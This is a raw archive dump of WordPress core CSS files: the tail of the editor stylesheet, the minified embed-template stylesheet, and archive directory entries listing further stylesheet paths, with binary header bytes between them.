button.mce-close:hover{color:#000}i.mce-i-aligncenter,i.mce-i-alignjustify,i.mce-i-alignleft,i.mce-i-alignright,i.mce-i-backcolor,i.mce-i-blockquote,i.mce-i-bold,i.mce-i-bullist,i.mce-i-charmap,i.mce-i-dashicon,i.mce-i-dfw,i.mce-i-forecolor,i.mce-i-fullscreen,i.mce-i-help,i.mce-i-hr,i.mce-i-indent,i.mce-i-italic,i.mce-i-link,i.mce-i-ltr,i.mce-i-numlist,i.mce-i-outdent,i.mce-i-pastetext,i.mce-i-pasteword,i.mce-i-redo,i.mce-i-remove,i.mce-i-removeformat,i.mce-i-spellchecker,i.mce-i-strikethrough,i.mce-i-underline,i.mce-i-undo,i.mce-i-unlink,i.mce-i-wp-media-library,i.mce-i-wp_adv,i.mce-i-wp_code,i.mce-i-wp_fullscreen,i.mce-i-wp_help,i.mce-i-wp_more,i.mce-i-wp_page{font:normal 20px/1 dashicons;padding:0;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;margin-left:-2px;padding-right:2px}.qt-dfw{font:normal 20px/1 dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}i.mce-i-bold:before{content:"\f200"}i.mce-i-italic:before{content:"\f201"}i.mce-i-bullist:before{content:"\f203"}i.mce-i-numlist:before{content:"\f204"}i.mce-i-blockquote:before{content:"\f205"}i.mce-i-alignleft:before{content:"\f206"}i.mce-i-aligncenter:before{content:"\f207"}i.mce-i-alignright:before{content:"\f208"}i.mce-i-link:before{content:"\f103"}i.mce-i-unlink:before{content:"\f225"}i.mce-i-wp_more:before{content:"\f209"}i.mce-i-strikethrough:before{content:"\f224"}i.mce-i-spellchecker:before{content:"\f210"}.qt-dfw:before,i.mce-i-dfw:before,i.mce-i-fullscreen:before,i.mce-i-wp_fullscreen:before{content:"\f211"}i.mce-i-wp_adv:before{content:"\f212"}i.mce-i-underline:before{content:"\f213"}i.mce-i-alignjustify:before{content:"\f214"}i.mce-i-backcolor:before,i.mce-i-forecolor:before{content:"\f215"}i.mce-i-pastetext:before{content:"\f217"}i.mce-i-removeformat:before{content:"\f218"}i.mce-i-charmap:before{content:"\f220"}i.mce-i-outdent:before{content:"\f221"}i.mce-i-indent:before{content:"\f222"}i.mce-i-undo:before{content:"\f171"}i.mce-i-redo:before{content:"\f172"}i.mce-i-help:before,i.mce-i-wp_help:before{content:"\f223"}i.mce-i-wp-media-library:before{content:"\f104"}i.mce-i-ltr:before{content:"\f320"}i.mce-i-wp_page:before{content:"\f105"}i.mce-i-hr:before{content:"\f460"}i.mce-i-remove:before{content:"\f158"}i.mce-i-wp_code:before{content:"\f475"}.rtl i.mce-i-outdent:before{content:"\f222"}.rtl i.mce-i-indent:before{content:"\f221"}.wp-editor-wrap{position:relative}.wp-editor-tools{position:relative;z-index:1}.wp-editor-tools:after{clear:both;content:"";display:table}.wp-editor-container{clear:both;border:1px solid #dcdcde}.wp-editor-area{font-family:Consolas,Monaco,monospace;font-size:13px;padding:10px;margin:1px 0 0;line-height:150%;border:0;outline:0;display:block;resize:vertical;box-sizing:border-box}.rtl .wp-editor-area{font-family:Tahoma,Monaco,monospace}.locale-he-il .wp-editor-area{font-family:Arial,Monaco,monospace}.wp-editor-container textarea.wp-editor-area{width:100%;margin:0;box-shadow:none}.wp-editor-tabs{float:right}.wp-switch-editor{float:left;box-sizing:content-box;position:relative;top:1px;background:#f0f0f1;color:#646970;cursor:pointer;font-size:13px;line-height:1.46153846;height:20px;margin:5px 0 0 5px;padding:3px 8px 4px;border:1px solid #dcdcde}.wp-switch-editor:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;color:#1d2327}.wp-switch-editor:active{background-color:#f6f7f7;box-shadow:none}.js .tmce-active .wp-editor-area{color:#fff}.tmce-active .quicktags-toolbar{display:none}.html-active .switch-html,.tmce-active .switch-tmce{background:#f6f7f7;color:#50575e;border-bottom-color:#f6f7f7}.wp-media-buttons{float:left}.wp-media-buttons .button{margin-right:5px;margin-bottom:4px;padding-left:7px;padding-right:7px}.wp-media-buttons .button:active{position:relative;top:1px;margin-top:-1px;margin-bottom:1px}.wp-media-buttons .insert-media{padding-left:5px}.wp-media-buttons a{text-decoration:none;color:#3c434a;font-size:12px}.wp-media-buttons img{padding:0 4px;vertical-align:middle}.wp-media-buttons span.wp-media-buttons-icon{display:inline-block;width:20px;height:20px;line-height:1;vertical-align:middle;margin:0 2px}.wp-media-buttons .add_media span.wp-media-buttons-icon{background:0 0}.wp-media-buttons .add_media span.wp-media-buttons-icon:before{font:normal 18px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-media-buttons .add_media span.wp-media-buttons-icon:before{content:"\f104"}.mce-content-body dl.wp-caption{max-width:100%}.quicktags-toolbar{padding:3px;position:relative;border-bottom:1px solid #dcdcde;background:#f6f7f7;min-height:30px}.has-dfw .quicktags-toolbar{padding-right:35px}.wp-core-ui .quicktags-toolbar input.button.button-small{margin:2px}.quicktags-toolbar input[value=link]{text-decoration:underline}.quicktags-toolbar input[value=del]{text-decoration:line-through}.quicktags-toolbar input[value="i"]{font-style:italic}.quicktags-toolbar input[value="b"]{font-weight:600}.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw,.qt-dfw{position:absolute;top:0;right:0}.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw{margin:7px 7px 0 0}.qt-dfw{margin:5px 5px 0 0}.qt-fullscreen{position:static;margin:2px}@media screen and (max-width:782px){.mce-toolbar .mce-btn button,.qt-dfw{padding:6px 7px}.mce-toolbar .mce-btn-group .mce-btn.mce-primary button{padding:6px 7px 5px}.mce-toolbar .mce-btn-group .mce-btn{margin:1px}.qt-dfw{width:36px;height:34px}.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw{margin:4px 4px 0 0}.mce-toolbar .mce-colorbutton .mce-preview{left:8px;bottom:6px}.mce-window .mce-btn{padding:2px 0}.has-dfw .quicktags-toolbar,.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first{padding-right:40px}}@media screen and (min-width:782px){.wp-core-ui .quicktags-toolbar input.button.button-small{font-size:12px;min-height:26px;line-height:2}}#wp_editbtns,#wp_gallerybtns{padding:2px;position:absolute;display:none;z-index:100020}#wp_delgallery,#wp_delimgbtn,#wp_editgallery,#wp_editimgbtn{background-color:#f0f0f1;margin:2px;padding:2px;border:1px solid #8c8f94;border-radius:3px}#wp_delgallery:hover,#wp_delimgbtn:hover,#wp_editgallery:hover,#wp_editimgbtn:hover{border-color:#50575e;background-color:#c3c4c7}#wp-link-wrap{display:none;background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);width:500px;overflow:hidden;margin-left:-250px;margin-top:-125px;position:fixed;top:50%;left:50%;z-index:100105;transition:height .2s,margin-top .2s}#wp-link-backdrop{display:none;position:fixed;top:0;left:0;right:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:100100}#wp-link{position:relative;height:100%}#wp-link-wrap{height:600px;margin-top:-300px}#wp-link-wrap .wp-link-text-field{display:none}#wp-link-wrap.has-text-field .wp-link-text-field{display:block}#link-modal-title{background:#fff;border-bottom:1px solid #dcdcde;font-size:18px;font-weight:600;line-height:2;margin:0;padding:0 36px 0 16px}#wp-link-close{color:#646970;padding:0;position:absolute;top:0;right:0;width:36px;height:36px;text-align:center;background:0 0;border:none;cursor:pointer}#wp-link-close:before{font:normal 20px/36px dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;width:36px;height:36px;content:"\f158"}#wp-link-close:focus,#wp-link-close:hover{color:#135e96}#wp-link-close:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-2px}#wp-link-wrap #link-selector{-webkit-overflow-scrolling:touch;padding:0 16px;position:absolute;top:calc(2.15384615em + 16px);left:0;right:0;bottom:calc(2.15384615em + 19px);display:flex;flex-direction:column;overflow:auto}#wp-link ol,#wp-link ul{list-style:none;margin:0;padding:0}#wp-link input[type=text]{box-sizing:border-box}#wp-link #link-options{padding:8px 0 12px}#wp-link p.howto{margin:3px 0}#wp-link p.howto a{text-decoration:none;color:inherit}#wp-link label input[type=text]{margin-top:5px;width:70%}#wp-link #link-options label span,#wp-link #search-panel label span.search-label{display:inline-block;width:120px;text-align:right;padding-right:5px;max-width:24%;vertical-align:middle;word-wrap:break-word}#wp-link .link-search-field{width:250px;max-width:70%}#wp-link .link-search-wrapper{margin:5px 0 9px;display:block}#wp-link .query-results{position:absolute;width:calc(100% - 32px)}#wp-link .link-search-wrapper .spinner{float:none;margin:-3px 0 0 4px}#wp-link .link-target{padding:3px 0 0}#wp-link .link-target label{max-width:70%}#wp-link .query-results{border:1px #dcdcde solid;margin:0 0 12px;background:#fff;overflow:auto;max-height:290px}#wp-link li{clear:both;margin-bottom:0;border-bottom:1px solid #f0f0f1;color:#2c3338;padding:4px 6px 4px 10px;cursor:pointer;position:relative}#wp-link .query-notice{padding:0;border-bottom:1px solid #dcdcde;background-color:#fff;color:#000}#wp-link .query-notice .query-notice-default,#wp-link .query-notice .query-notice-hint{display:block;padding:6px;border-left:4px solid #72aee6}#wp-link .unselectable.no-matches-found{padding:0;border-bottom:1px solid #dcdcde;background-color:#f6f7f7}#wp-link .no-matches-found .item-title{display:block;padding:6px;border-left:4px solid #d63638}#wp-link .query-results em{font-style:normal}#wp-link li:hover{background:#f0f6fc;color:#101517}#wp-link li.unselectable{border-bottom:1px solid #dcdcde}#wp-link li.unselectable:hover{background:#fff;cursor:auto;color:#2c3338}#wp-link li.selected{background:#dcdcde;color:#2c3338}#wp-link li.selected .item-title{font-weight:600}#wp-link li:last-child{border:none}#wp-link .item-title{display:inline-block;width:80%;width:calc(100% - 68px);word-wrap:break-word}#wp-link .item-info{text-transform:uppercase;color:#646970;font-size:11px;position:absolute;right:5px;top:5px}#wp-link .river-waiting{display:none;padding:10px 0}#wp-link .submitbox{padding:8px 16px;background:#fff;border-top:1px solid #dcdcde;position:absolute;bottom:0;left:0;right:0}#wp-link-cancel{line-height:1.92307692;float:left}#wp-link-update{line-height:1.76923076;float:right}#wp-link-submit{float:right}@media screen and (max-width:782px){#link-selector{padding:0 16px 60px}#wp-link-wrap #link-selector{bottom:calc(2.71428571em + 23px)}#wp-link-cancel{line-height:2.46153846}#wp-link .link-target{padding-top:10px}#wp-link .submitbox .button{margin-bottom:0}}@media screen and (max-width:520px){#wp-link-wrap{width:auto;margin-left:0;left:10px;right:10px;max-width:500px}}@media screen and (max-height:620px){#wp-link-wrap{transition:none;height:auto;margin-top:0;top:10px;bottom:10px}#link-selector{overflow:auto}}@media screen and (max-height:290px){#wp-link-wrap{height:auto;margin-top:0;top:10px;bottom:10px}#link-selector{overflow:auto;height:calc(100% - 92px);padding-bottom:2px}}div.wp-link-preview{float:left;margin:5px;max-width:694px;overflow:hidden;text-overflow:ellipsis}div.wp-link-preview a{color:#2271b1;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out;cursor:pointer}div.wp-link-preview a.wplink-url-error{color:#d63638}.mce-inline-toolbar-grp div.mce-flow-layout-item>div{display:flex;align-items:flex-end}div.wp-link-input{float:left;margin:2px;max-width:694px}div.wp-link-input label{margin-bottom:4px;display:block}div.wp-link-input input{width:300px;padding:3px;box-sizing:border-box;line-height:1.28571429;min-height:26px}.mce-toolbar div.wp-link-input~.mce-btn,.mce-toolbar div.wp-link-preview~.mce-btn{margin:2px 1px}.mce-inline-toolbar-grp .mce-btn-group .mce-btn:last-child{margin-right:2px}.ui-autocomplete.wplink-autocomplete{z-index:100110;max-height:200px;overflow-y:auto;padding:0;margin:0;list-style:none;position:absolute;border:1px solid #4f94d4;box-shadow:0 1px 2px rgba(79,148,212,.8);background-color:#fff}.ui-autocomplete.wplink-autocomplete li{margin-bottom:0;padding:4px 10px;clear:both;white-space:normal;text-align:left}.ui-autocomplete.wplink-autocomplete li .wp-editor-float-right{float:right}.ui-autocomplete.wplink-autocomplete li.ui-state-focus{background-color:#dcdcde;cursor:pointer}@media screen and (max-width:782px){div.wp-link-input,div.wp-link-preview{max-width:70%;max-width:calc(100% - 86px)}div.wp-link-preview{margin:8px 0 8px 5px}div.wp-link-input{width:300px}div.wp-link-input input{width:100%;font-size:16px;padding:5px}}.mce-fullscreen{z-index:100010}.rtl .quicktags-toolbar input,.rtl .wp-switch-editor{font-family:Tahoma,sans-serif}.mce-rtl .mce-flow-layout .mce-flow-layout-item>div{direction:rtl}.mce-rtl .mce-listbox i.mce-caret{left:6px}html:lang(he-il) .rtl .quicktags-toolbar input,html:lang(he-il) .rtl .wp-switch-editor{font-family:Arial,sans-serif}@media print,(min-resolution:120dpi){.wp-media-buttons .add_media span.wp-media-buttons-icon{background:0 0}}PK1Xd[/S���wp-embed-template.min.cssnu�[���/*! This file is auto-generated */
body,html{padding:0;margin:0}body{font-family:sans-serif}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.dashicons{display:inline-block;width:20px;height:20px;background-color:transparent;background-repeat:no-repeat;background-size:20px;background-position:center;transition:background .1s ease-in;position:relative;top:5px}.dashicons-no{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M15.55%2013.7l-2.19%202.06-3.42-3.65-3.64%203.43-2.06-2.18%203.64-3.43-3.42-3.64%202.18-2.06%203.43%203.64%203.64-3.42%202.05%202.18-3.64%203.43z%27%20fill%3D%27%23fff%27%2F%3E%3C%2Fsvg%3E")}.dashicons-admin-comments{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%2382878c%27%2F%3E%3C%2Fsvg%3E")}.wp-embed-comments a:hover .dashicons-admin-comments{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%230073aa%27%2F%3E%3C%2Fsvg%3E")}.dashicons-share{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%2382878c%27%2F%3E%3C%2Fsvg%3E");display:none}.js .dashicons-share{display:inline-block}.wp-embed-share-dialog-open:hover .dashicons-share{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%230073aa%27%2F%3E%3C%2Fsvg%3E")}.wp-embed{padding:25px;font-size:14px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:1.5;color:#8c8f94;background:#fff;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.05);overflow:auto;zoom:1}.wp-embed a{color:#8c8f94;text-decoration:none}.wp-embed a:hover{text-decoration:underline}.wp-embed-featured-image{margin-bottom:20px}.wp-embed-featured-image img{width:100%;height:auto;border:none}.wp-embed-featured-image.square{float:left;max-width:160px;margin-right:20px}.wp-embed p{margin:0}p.wp-embed-heading{margin:0 0 15px;font-weight:600;font-size:22px;line-height:1.3}.wp-embed-heading a{color:#2c3338}.wp-embed .wp-embed-more{color:#c3c4c7}.wp-embed-footer{display:table;width:100%;margin-top:30px}.wp-embed-site-icon{position:absolute;top:50%;left:0;transform:translateY(-50%);height:25px;width:25px;border:0}.wp-embed-site-title{font-weight:600;line-height:1.78571428}.wp-embed-site-title a{position:relative;display:inline-block;padding-left:35px}.wp-embed-meta,.wp-embed-site-title{display:table-cell}.wp-embed-meta{text-align:right;white-space:nowrap;vertical-align:middle}.wp-embed-comments,.wp-embed-share{display:inline}.wp-embed-meta a:hover{text-decoration:none;color:#2271b1}.wp-embed-comments a{line-height:1.78571428;display:inline-block}.wp-embed-comments+.wp-embed-share{margin-left:10px}.wp-embed-share-dialog{position:absolute;top:0;left:0;right:0;bottom:0;background-color:#1d2327;background-color:rgba(0,0,0,.9);color:#fff;opacity:1;transition:opacity .25s ease-in-out}.wp-embed-share-dialog.hidden{opacity:0;visibility:hidden}.wp-embed-share-dialog-close,.wp-embed-share-dialog-open{margin:-8px 0 0;padding:0;background:0 0;border:none;cursor:pointer;outline:0}.wp-embed-share-dialog-close .dashicons,.wp-embed-share-dialog-open .dashicons{padding:4px}.wp-embed-share-dialog-open .dashicons{top:8px}.wp-embed-share-dialog-close:focus .dashicons,.wp-embed-share-dialog-open:focus .dashicons{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;border-radius:100%}.wp-embed-share-dialog-close{position:absolute;top:20px;right:20px;font-size:22px}.wp-embed-share-dialog-close:hover{text-decoration:none}.wp-embed-share-dialog-close .dashicons{height:24px;width:24px;background-size:24px}.wp-embed-share-dialog-content{height:100%;transform-style:preserve-3d;overflow:hidden}.wp-embed-share-dialog-text{margin-top:25px;padding:20px}.wp-embed-share-tabs{margin:0 0 20px;padding:0;list-style:none}.wp-embed-share-tab-button{display:inline-block}.wp-embed-share-tab-button button{margin:0;padding:0;border:none;background:0 0;font-size:16px;line-height:1.3;color:#a7aaad;cursor:pointer;transition:color .1s ease-in}.wp-embed-share-tab-button [aria-selected=true]{color:#fff}.wp-embed-share-tab-button button:hover{color:#fff}.wp-embed-share-tab-button+.wp-embed-share-tab-button{margin:0 0 0 10px;padding:0 0 0 11px;border-left:1px solid #a7aaad}.wp-embed-share-tab[aria-hidden=true]{display:none}p.wp-embed-share-description{margin:0;font-size:14px;line-height:1;font-style:italic;color:#a7aaad}.wp-embed-share-input{box-sizing:border-box;width:100%;border:none;height:28px;margin:0 0 10px;padding:0 5px;font-size:14px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:1.5;resize:none;cursor:text}textarea.wp-embed-share-input{height:72px}html[dir=rtl] .wp-embed-featured-image.square{float:right;margin-right:0;margin-left:20px}html[dir=rtl] .wp-embed-site-title a{padding-left:0;padding-right:35px}html[dir=rtl] .wp-embed-site-icon{margin-right:0;margin-left:10px;left:auto;right:0}html[dir=rtl] .wp-embed-meta{text-align:left}html[dir=rtl] .wp-embed-share{margin-left:0;margin-right:10px}html[dir=rtl] .wp-embed-share-dialog-close{right:auto;left:20px}html[dir=rtl] .wp-embed-share-tab-button+.wp-embed-share-tab-button{margin:0 10px 0 0;padding:0 11px 0 0;border-left:none;border-right:1px solid #a7aaad}PK1Xd[>��]UUcustomize-preview-rtl.cssnu�[���PK1Xd['ٺ����wp-empty-template-alert.cssnu�[���PK1Xd[b��{�h�h�editor-rtl.min.cssnu�[���PK1Xd[ctT���yjquery-ui-dialog-rtl.min.cssnu�[���PK1Xd[}���66֋customize-preview.min.cssnu�[���PK1Xd[eYi��"U�dist/preferences/style-rtl.min.cssnu�[���PK1Xd[�J��e�dist/preferences/style.min.cssnu�[���PK1Xd[����n�dist/preferences/style-rtl.cssnu�[���PK1Xd[a֡Ɨ�V�dist/preferences/style.cssnu�[���PK1Xd[�<�pqq7�dist/commands/style-rtl.min.cssnu�[���PK1Xd[�'KHoo��dist/commands/style.min.cssnu�[���PK1Xd[PG�
�
�
��dist/commands/style-rtl.cssnu�[���PK1Xd[g|��
�
��dist/commands/style.cssnu�[���PK1Xd[�5s!��dist/block-library/common-rtl.cssnu�[���PK1Xd[b08qq%G�dist/block-library/editor-rtl.min.cssnu�[���PK1Xd[��
��� 
dist/block-library/theme-rtl.cssnu�[���PK1Xd[qf�HNN*,dist/block-library/editor-elements.min.cssnu�[���PK1Xd[�[�"�dist/block-library/classic-rtl.cssnu�[���PK1Xd[ZK�YY&2dist/block-library/editor-elements.cssnu�[���PK1Xd[�#��w
w
$�dist/block-library/theme-rtl.min.cssnu�[���PK1Xd[P�š�� �dist/block-library/reset-rtl.cssnu�[���PK1Xd[�[��$dist/block-library/classic.cssnu�[���PK1Xd[@��t
t
 @&dist/block-library/theme.min.cssnu�[���PK1Xd[�a		1dist/block-library/common.cssnu�[���PK1Xd[���=��Z@dist/block-library/theme.cssnu�[���PK1Xd[Pf����"rLdist/block-library/classic.min.cssnu�[���PK1Xd[��Pi
i
%�Mdist/block-library/common-rtl.min.cssnu�[���PK1Xd[�>����$m[dist/block-library/style-rtl.min.cssnu�[���PK1Xd[�`�!�"�"!^!dist/block-library/editor-rtl.cssnu�[���PK1Xd[��h�y�y� fDdist/block-library/style.min.cssnu�[���PK1Xd[+��""'/dist/block-library/elements-rtl.min.cssnu�[���PK1Xd[�7�g$�dist/block-library/reset-rtl.min.cssnu�[���PK1Xd[D}a
a
!dist/block-library/common.min.cssnu�[���PK1Xd[N�?q"q"�!dist/block-library/editor.cssnu�[���PK1Xd[:��''#�Ddist/block-library/elements-rtl.cssnu�[���PK1Xd[P�š���Ddist/block-library/reset.cssnu�[���PK1Xd[Pf����&5Ndist/block-library/classic-rtl.min.cssnu�[���PK1Xd[qf�HNN.vOdist/block-library/editor-elements-rtl.min.cssnu�[���PK1Xd[\������ "Pdist/block-library/style-rtl.cssnu�[���PK1Xd[a�̞���P8
dist/block-library/style.cssnu�[���PK1Xd[ZK�YY*: dist/block-library/editor-elements-rtl.cssnu�[���PK1Xd[:��''� dist/block-library/elements.cssnu�[���PK1Xd[�7�g c!dist/block-library/reset.min.cssnu�[���PK1Xd[+��""#�)dist/block-library/elements.min.cssnu�[���PK1Xd[�^
oCC!A*dist/block-library/editor.min.cssnu�[���PK1Xd[/Q�@&�5
dist/reusable-blocks/style-rtl.min.cssnu�[���PK1Xd[/Q�@"I8
dist/reusable-blocks/style.min.cssnu�[���PK1Xd[�"t[["�:
dist/reusable-blocks/style-rtl.cssnu�[���PK1Xd[�"t[[f=
dist/reusable-blocks/style.cssnu�[���PK1Xd[��ӥ�%@
dist/format-library/style-rtl.min.cssnu�[���PK1Xd[��ӥ�!	E
dist/format-library/style.min.cssnu�[���PK1Xd[�H�++!�I
dist/format-library/style-rtl.cssnu�[���PK1Xd[�H�++{O
dist/format-library/style.cssnu�[���PK1Xd[�?�����T
dist/edit-post/classic-rtl.cssnu�[���PK1Xd[�.�8���]
dist/edit-post/classic.cssnu�[���PK1Xd[$�F��f
dist/edit-post/classic.min.cssnu�[���PK1Xd[����*1*1 �n
dist/edit-post/style-rtl.min.cssnu�[���PK1Xd[]�%1%1w�
dist/edit-post/style.min.cssnu�[���PK1Xd[��ٴ�"��
dist/edit-post/classic-rtl.min.cssnu�[���PK1Xd[��z�6�6��
dist/edit-post/style-rtl.cssnu�[���PK1Xd[C�˜6�6�dist/edit-post/style.cssnu�[���PK1Xd[
v
e�e��Gdist/edit-site/posts.cssnu�[���PK1Xd[�<
.l�l�ldist/edit-site/posts-rtl.cssnu�[���PK1Xd[ÖǪ&k&k $�dist/edit-site/style-rtl.min.cssnu�[���PK1Xd[0/&����� �Ndist/edit-site/posts-rtl.min.cssnu�[���PK1Xd[IRmkk�	dist/edit-site/style.min.cssnu�[���PK1Xd[��.���6udist/edit-site/posts.min.cssnu�[���PK1Xd[z0(����t0dist/edit-site/style-rtl.cssnu�[���PK1Xd[�M!݌݌��dist/edit-site/style.cssnu�[���PK1Xd[�2�pTpT#�Jdist/edit-widgets/style-rtl.min.cssnu�[���PK1Xd[��}�dTdT��dist/edit-widgets/style.min.cssnu�[���PK1Xd[":@]@]W�dist/edit-widgets/style-rtl.cssnu�[���PK1Xd[���r4]4]�Qdist/edit-widgets/style.cssnu�[���PK1Xd[5,,4�
�
e�dist/nux/style-rtl.min.cssnu�[���PK1Xd[�?\�44��dist/nux/style.min.cssnu�[���PK1Xd[�=�@!!�dist/nux/style-rtl.cssnu�[���PK1Xd[��f�dist/nux/style.cssnu�[���PK1Xd[�;���(��dist/customize-widgets/style-rtl.min.cssnu�[���PK1Xd[����$�dist/customize-widgets/style.min.cssnu�[���PK1Xd[���d��$�dist/customize-widgets/style-rtl.cssnu�[���PK1Xd[hT�ѹ� �(dist/customize-widgets/style.cssnu�[���PK1Xd[��D�LL&�Bdist/block-directory/style-rtl.min.cssnu�[���PK1Xd[�7��LL"�Qdist/block-directory/style.min.cssnu�[���PK1Xd[�_��"?`dist/block-directory/style-rtl.cssnu�[���PK1Xd[@j�<��ypdist/block-directory/style.cssnu�[���PK1Xd[j-�)������dist/editor/style-rtl.min.cssnu�[���PK1Xd[��
�����bdist/editor/style.min.cssnu�[���PK1Xd[W���Edist/editor/style-rtl.cssnu�[���PK1Xd[�\����F>dist/editor/style.cssnu�[���PK1Xd[���*~~+_7dist/list-reusable-blocks/style-rtl.min.cssnu�[���PK1Xd[��3��'8Hdist/list-reusable-blocks/style.min.cssnu�[���PK1Xd[\b�x^^'Ydist/list-reusable-blocks/style-rtl.cssnu�[���PK1Xd[�+��``#�kdist/list-reusable-blocks/style.cssnu�[���PK1Xd[.���OVOV!w~dist/components/style-rtl.min.cssnu�[���PK1Xd[a��gVgV�dist/components/style.min.cssnu�[���PK1Xd[L8��t�t�+ dist/components/style-rtl.cssnu�[���PK1Xd[�P��t�tƠ!dist/components/style.cssnu�[���PK1Xd[֔�gg�#dist/widgets/style-rtl.min.cssnu�[���PK1Xd[���$dd_,#dist/widgets/style.min.cssnu�[���PK1Xd[�gM��
C#dist/widgets/style-rtl.cssnu�[���PK1Xd[�{�~��Q[#dist/widgets/style.cssnu�[���PK1Xd[V4�����s#dist/patterns/style-rtl.min.cssnu�[���PK1Xd[k�����z#dist/patterns/style.min.cssnu�[���PK1Xd[�U���#dist/patterns/style-rtl.cssnu�[���PK1Xd[��J���#dist/patterns/style.cssnu�[���PK1Xd[[�a�,r,r%̑#dist/block-editor/content-rtl.min.cssnu�[���PK1Xd[��̒z�z!M$dist/block-editor/content-rtl.cssnu�[���PK1Xd[hg;/0$dist/block-editor/default-editor-styles.min.cssnu�[���PK1Xd[Zi�'�z�z��$dist/block-editor/content.cssnu�[���PK1Xd[G74_U�U�#o�$dist/block-editor/style-rtl.min.cssnu�[���PK1Xd[hg;3�&dist/block-editor/default-editor-styles-rtl.min.cssnu�[���PK1Xd[]q�*r*r!}�&dist/block-editor/content.min.cssnu�[���PK1Xd[-Z__/�C'dist/block-editor/default-editor-styles-rtl.cssnu�[���PK1Xd[���mF�F��G'dist/block-editor/style.min.cssnu�[���PK1Xd[-Z__+K)dist/block-editor/default-editor-styles.cssnu�[���PK1Xd[�o�����)dist/block-editor/style-rtl.cssnu�[���PK1Xd[Udk%�����+dist/block-editor/style.cssnu�[���PK1Xd[�gֈ����-dashicons.min.cssnu�[���PK1Xd[��T����-wp-embed-template.cssnu�[���PK1Xd[���դ��.jquery-ui-dialog.min.cssnu�[���PK1Xd[^j�����
�#.dashicons.cssnu�[���PK1Xd[�;H˺�b/wp-pointer.cssnu�[���PK1Xd[��--Z'/customize-preview.cssnu�[���PK1Xd[!h�P���5/wp-embed-template-ie.min.cssnu�[���PK1Xd[��`�`��;/media-views-rtl.cssnu�[���PK1Xd[��o##|0classic-themes.min.cssnu�[���PK1Xd[s*ԝ���0media-views.min.cssnu�[���PK1Xd[�����N�N�0admin-bar.min.cssnu�[���PK1Xd[�P�Y�Y��"1editor-rtl.cssnu�[���PK1Xd[Gv�צ���1wp-pointer.min.cssnu�[���PK1Xd[Z �97�7�o�1media-views.cssnu�[���PK1Xd[��έ���2media-views-rtl.min.cssnu�[���PK1Xd[��
